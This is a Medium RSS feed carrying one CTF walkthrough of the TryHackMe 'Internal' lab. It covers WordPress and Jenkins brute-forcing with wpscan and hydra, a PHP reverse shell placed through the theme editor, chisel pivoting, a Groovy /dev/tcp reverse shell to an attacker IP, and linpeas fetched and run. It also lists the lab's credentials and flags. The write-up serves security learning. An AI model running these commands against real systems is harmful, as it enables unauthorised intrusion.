<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abbasli Nicat on Medium]]></title>
        <description><![CDATA[Stories by Abbasli Nicat on Medium]]></description>
        <link>https://medium.com/@slash0x99?source=rss-39ccaaeec4ad------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*AcFsOmElEHP893C9wUL34g.png</url>
            <title>Stories by Abbasli Nicat on Medium</title>
            <link>https://medium.com/@slash0x99?source=rss-39ccaaeec4ad------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 02:12:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@slash0x99/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Internal-TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@slash0x99/internal-tryhackme-walkthrough-0e67a0067c79?source=rss-39ccaaeec4ad------2</link>
            <guid isPermaLink="false">https://medium.com/p/0e67a0067c79</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[ctflearn]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Abbasli Nicat]]></dc:creator>
            <pubDate>Fri, 22 Mar 2024 12:26:55 GMT</pubDate>
            <atom:updated>2024-03-22T16:16:06.754Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Hello everyone! I’m Abbasli Nicat, and since this is my first blog post, there might be mistakes, so I hope you’ll bear with me. In this blog, we will attempt to hack the Level: Hard Internal CTF machine on the TryHackMe platform. This lab is highly suitable for those aiming to obtain the eJPT certificate. Without further ado, let’s begin.</em></p><p><em>Our task is to hack the machine and read the files </em><strong><em>User.txt</em></strong><em> and </em><strong><em>Root.txt</em></strong><em> inside it. Let’s get started!</em></p><h3>Recon</h3><blockquote><strong><em>Nmap</em></strong>:</blockquote><pre>sudo nmap -sV -O -T5 10.10.6.114</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*grRHfxvU154FwA-PV0uGFQ.png" /></figure><p><em>We scanned with Nmap and found that ports 22 and 80 are open, which indicates that this system has web access. Let’s proceed to explore the website…</em></p><blockquote>But before that, let’s add the <em>IP address</em> to <strong>the /etc/hosts </strong>file to ensure we don’t encounter any issues while browsing the site.</blockquote><pre>sudo mousepad /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*A2NBMYECE6zmo6Y1oMkPbQ.png" /></figure><p><em>We can continue. When we navigate to the web page, we are greeted by the default Apache page. Let’s perform fuzzing here to discover subdomains.</em></p><blockquote><strong><em>Ffuf</em></strong></blockquote><pre>ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u “http://internal.thm/FUZZ&quot; -c -fs 10918</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*uGXp50TtZXsuhclEPyrAwg.png" /><figcaption>Fuzzing</figcaption></figure><p>After fuzzing with Ffuf, we received responses indicating “<em>blog</em>,” “<em>wordpress</em>,” and “<em>javascript</em>.” Since the others return a “<em>403 Forbidden</em>” error, we’ll focus on the blog, as it seems to be the relevant one.</p><p>After conducting some research on the blog, I came across a post made by a user named “<strong>Admin</strong>” on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*F3sah7ELpKtlm7hsXSYfVg.png" /><figcaption><em>We’ll make use of this later on.</em></figcaption></figure><p><em>I continued the search but couldn’t find anything useful. Then I thought about fuzzing the elements under the blog</em></p><pre>ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -u &quot;http://internal.thm/blog/FUZZ&quot; -c  -fs 53892</pre><p><em>And here, underneath the blog, there’s another domain called </em><strong><em>wp-admin</em></strong><em>. When we navigate here, we are greeted by the default login page, confirming that our website is running </em><strong><em>WordPress</em></strong><em>, as we observed in our initial fuzzing scan. Here, we can attempt to brute force the panel using the username of the admin we found earlier and gain access.</em></p><blockquote><strong><em>Wpscan</em></strong></blockquote><p>Through this tool, we can launch a brute force attack on the WordPress login page. If there is a vulnerability in WordPress, we can also exploit it.</p><pre>wpscan --url http://internal.thm/blog/ -U admin -P /usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*P8pDL-Hu9gO9oBWt8eEgvw.png" /><figcaption>Admin’s password</figcaption></figure><blockquote><strong>admin:my2boys</strong></blockquote><h3>Exploitation</h3><p>After logging in through WordPress, we are presented with a page like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*-2cdKPfp8RE1_Zr6D3lJ6w.png" /><figcaption>Wordpress Panel</figcaption></figure><p>From here, we hover over the <strong>Appearance</strong> section and navigate to the <strong>Theme Editor</strong> section. We select<strong> index.php</strong> from the panel on the right and replace the code with our <strong>PHP shell.</strong> Then, we click on <strong>Update File.</strong></p><p><em>The shell I’m using: </em><strong><em>/usr/share/webshells/php/php-reverse-shell.php</em></strong><em>; I replace the port and IP address.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lLIomIf_k2Y14jnHYLKDKQ.png" /></figure><p>Let’s start our listener in the terminal.</p><pre>rlwrap nc -nlvp 1234</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*0gW_9avUP-TGaE_yhBP2-w.png" /><figcaption>Reverse shell connection</figcaption></figure><p>And when we visit <strong>internal.thm/blog</strong> again, our shell is now active.</p><p><strong><em>And we’ve hacked our first machine.</em></strong></p><h3>User.txt</h3><h4>Priviliege Escaltion</h4><p>As a first step, let’s take a look at the users in the /home directory, and if we don’t obtain vertical privilege escalation, we’ll resort to horizontal privilege escalation. We could manually check for privilege escalation opportunities, but automating this process can save us time.</p><p><em>We can download the linpeas.sh tool from the outside and then scan inside. Since the /tmp directory is temporary and writable, we can navigate there to download, execute, and later remove the script.</em></p><p>Let’s proceed by navigating to the /<strong>tmp </strong>directory.</p><p>1.</p><pre>wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh</pre><p><em>We execute the command above on our Linux machine and download the </em><strong><em>linpeas.sh</em></strong><em> file.</em></p><p>2.</p><pre>python3 -m http.server</pre><p>By executing the command above, we open our HTTP server so that we can fetch the linpeas.sh file from the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*hLDWwceTa98dwgAUtiQsWA.png" /></figure><p>3.</p><pre>wget http://10.9.192.128:8000/linpeas.sh</pre><p>And we run this command on the target machine to download the <strong>linpeas.sh</strong> file into the /tmp directory.</p><p>4.</p><p>Next, we execute the following commands to run our linpeas.sh file.</p><pre>chmod +x linpeas.sh<br>./linpeas.sh</pre><p><em>While working on this lab, I was quite familiar with this part of the lab, but I was overlooking the information regarding </em><strong><em>SUID and SGID</em></strong><em> bits for privilege escalation.</em></p><blockquote><strong>/opt</strong> <em>directory contained some unnoticed files. Information about unexpected files in the /opt directory is often relevant when files are installed by less common software or custom installations.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*Yx5ML1YQcjr_SypQYZ4HNg.png" /><figcaption>/opt directory</figcaption></figure><p>When we read the file <em>wp-save.txt</em>, we were able to find the <em>password</em> for the user<strong> aubreanna.</strong></p><blockquote><strong>aubreanna:bubb13guM!@#123</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*ZGamWizn4gqftdDJ7bv3IQ.png" /><figcaption>aubreanna’s password</figcaption></figure><p>And now, we can perform <em>horizontal</em> privilege escalation.</p><p>Let’s try the su aubreanna command, but an error occurs. We can fix this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*fnIrOVX-h0x7nkzeL7tkOA.png" /><figcaption>Fix’ing problem</figcaption></figure><pre>python3 -c &quot;import pty;pty.spawn(&#39;/bin/bash&#39;)&quot;<br>su aubreanna</pre><p>We enter our password and successfully log in as <strong>aubreanna</strong>.</p><blockquote>Now we can retrieve our <strong>User.txt</strong> file. To do this, we navigate to the home folder of the user aubreanna.</blockquote><blockquote><strong><em>FLAG1: THM{int3rna1_fl4g_1}</em></strong></blockquote><h3>Root.txt</h3><p>Now that we’ve found our user.txt file, we need to access the <strong>root.txt</strong> file as well. Let’s begin!</p><p><em>In Aubrenna’s home directory, there’s a file named </em><strong><em>jenkins.txt.</em></strong><em> Let’s take a look at its contents.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*zL5Vofr4C8AcueWNhyVFtw.png" /><figcaption>jenkins.txt</figcaption></figure><blockquote>And here, we can see that the internal Jenkins service is running on <strong><em>172.17.0.2</em></strong><em>. </em>Since this service is internal, even if our hacked machine can see it, our Linux system won’t be able to. Therefore, we need to <strong>pivot</strong>.</blockquote><p><strong>Target machine</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*f8t1luJPO26ebYQ4vDAeXg.png" /><figcaption>ping 172.17.0.2</figcaption></figure><p><strong>Our machine</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*mDHqLAv00apFaQAF6Wx8DQ.png" /><figcaption>ping 172.17.0.2</figcaption></figure><h4>Pivoting</h4><p><strong>Chisel </strong>— With this tool, we can establish port forwarding between the target machine and our own machine, allowing us to access the service on the target machine through our localhost and on a port of our choosing. To do this, we need to install this tool on both sides.</p><pre>wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz<br>gzip -d chisel_1.9.1_linux_amd64.gz <br>mv chisel_1.9.1_linux_amd64 chisel<br>chmod +x chisel<br>python3 -m http.server</pre><p>After installing it on our own machine, we need to install it on the target machine.</p><pre>```<br>wget http://10.9.192.128:8000/chisel<br>chmod +x chisel</pre><p>Since our current shell is not an <strong>SSH shell</strong>, sometimes interruptions or <strong>Ctrl+C </strong>may not be possible. Therefore, we can connect to the system via SSH before starting the pivoting process.</p><pre>su aubreanna@10.10.168.232</pre><p>After establishing the SSH connection, we execute the following command on <strong>our own Linux machine.</strong></p><pre>./chisel server -p 4545 --reverse</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*8eaXirdYgp84ZSmIBUYuLg.png" /></figure><p>After doing that, we execute the following code <strong>on the target machine</strong> to initiate the pivoting.</p><pre>./chisel client 10.9.192.128:4545 R:8080:127.0.0.1:8080 &amp;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*Pblfi_MTE0WIqee8hvbvDg.png" /></figure><p>And now, when we visit the address 127.0.0.1:8080 in our browser, we are actually visiting the address 172.17.0.2:8080 on the target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*jpWNH232ijLKeIGlf13R9g.png" /></figure><h4>Recon2</h4><blockquote>Nmap</blockquote><pre>sudo nmap -sV -T5 -sC -p 8080 127.0.0.1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*ZlLP5iKk0-y-qNKenE4Q5w.png" /></figure><p>Although I searched for exploits targeting <strong>Jetty 9.4.30 version</strong>, I couldn’t find any. I thought we might need to do some fuzzing.</p><blockquote>Ffuf</blockquote><pre>ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u “http://127.0.0.1:8080/FUZZ&quot; -c -fs 53892 -fc 403</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yAtDNXSGDxmh0qQDwkNT-A.png" /></figure><p>After performing a directory search, I found a location named “<strong>oops</strong>.” Upon navigating there, it displayed the version of Jenkins, but I couldn’t find an exploit for this version either. After contemplating for 20–30 seconds, I thought about brute forcing and decided to use <strong>Hydra </strong>for this task.</p><blockquote>Hydra</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*REH3Y9CErhRZef5En6hMsw.png" /><figcaption>Burpsuite request to login page.</figcaption></figure><p>Here, in order to perform the brute-force operation with <a href="https://gotoback.medium.com/tryhakme-hydra-cb6409740662"><strong>Hydra</strong></a>, we need to understand how the login request is sent when we attempt to log in. So, we capture the request and observe that it goes to /j_acegi_security_check. We can then use this information to craft our request and perform the brute-force attack using the following command:</p><pre> hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 8080 http-post-form &quot;/j_acegi_security_check :j_username=^USER^&amp;j_password=^PASS^&amp;from=%2F&amp;Submit=Sign+in&amp;Login=Login:F=Invalid username or password&quot; -V</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*SoewIWfXex19M6XsAmuIbg.png" /><figcaption>Admin password for the Jenkins service</figcaption></figure><p>And we were able to find the password for the admin:</p><blockquote><strong>admin:spungebob</strong></blockquote><p>Now we can log in!</p><h3><strong>Exploitation2</strong></h3><p>Once logged in, we are searching for ways to perform Remote Code Execution (RCE) internally.</p><p>1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k5ZkDUcTxVTsDMscjzWJCQ.png" /><figcaption>Jenkins Panel</figcaption></figure><p>Here, we navigate to the <strong>Manage Jenkins </strong>section on the left-hand side.</p><p>2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0FaDgblvY0mIzIiCsWqf3w.png" /></figure><p>After navigating, we scroll down and proceed to the <strong>Script Console</strong> section.</p><p>3.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V5FIPdDzSnvO01De5dK4Qg.png" /><figcaption>RCE</figcaption></figure><p>And here, a section is opened where we can run scripts internally, allowing us to perform Remote Code Execution (RCE).</p><p>4.</p><blockquote>We’re obtaining a reverse shell with the script below:</blockquote><p>r = Runtime.getRuntime()</p><p>p = r.exec([“/bin/bash”, “-c”, “exec 5&lt;&gt;/dev/tcp/10.9.192.128/4444; cat &lt;&amp;5 | while read line; do \$line 2&gt;&amp;5 &gt;&amp;5; done”] as String[])</p><p>p.waitFor()</p><blockquote><em>Before writing and executing this, let’s start the listener in the background and wait for it to listen.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9HiZvPEZJdNjOcTezEucoQ.png" /><figcaption>Reverse shell connection</figcaption></figure><p><em>And we’ve got access to the </em><strong><em>second </em></strong><em>machine as well!</em></p><h4>Privilege Escalation</h4><blockquote>1.<br><strong><em>Linpeas</em></strong></blockquote><p>And just like before, we navigate to the /<strong>tmp </strong>directory and use wget to download linpeas.sh on the target machine.</p><pre>wget http://10.9.192.128:8000/linpeas.sh<br>chmod +x linpeas.sh<br>./linpeas.sh</pre><blockquote><em>And the local scan begins.</em></blockquote><p>2.</p><p><em>Just like on the first machine, there are also unnoticed files in the /</em><strong><em>opt </em></strong><em>folder here.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*XE9Wye0RuWfLh_Y-Hs7R0A.png" /><figcaption>Unexpected file in /opt</figcaption></figure><blockquote>And when we read the **note.txt** file, we see the password for the root user:<br><strong><em>root:tr0ub13guM!@#123</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/312/1*zWExUEuHuBHqHFHianx-Cw.png" /><figcaption>root password</figcaption></figure><p>3.</p><p>And if we enter this on the first machine, we’ll gain <strong>root privileges!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/338/1*Gzu7EO667UUfxKPjKpf6Eg.png" /><figcaption>vertical privesc</figcaption></figure><p>4.</p><p>And thus, we have also seen the contents of<strong> root.txt.</strong></p><blockquote><strong><em>Root.txt:THM{d0ck3r_d3str0y3r}</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/326/1*4Cb3rgN-boW7kaIumF8GvA.png" /><figcaption>Root.txt</figcaption></figure><p>And wesuccessfully hacked the Internal CTF Machine! I hope this blog has provided you with valuable insights. If you have any questions, feel free to ask in the comments section. Take care and stay safe!Happy Hacking!!!</p><p><a href="https://www.linkedin.com/in/nicat-abbasli-872016261/"><strong>linkedin</strong></a></p><p><a href="https://bug-hunters.xyz/"><strong>my-website</strong></a></p><p>~fakescript0</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0e67a0067c79" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>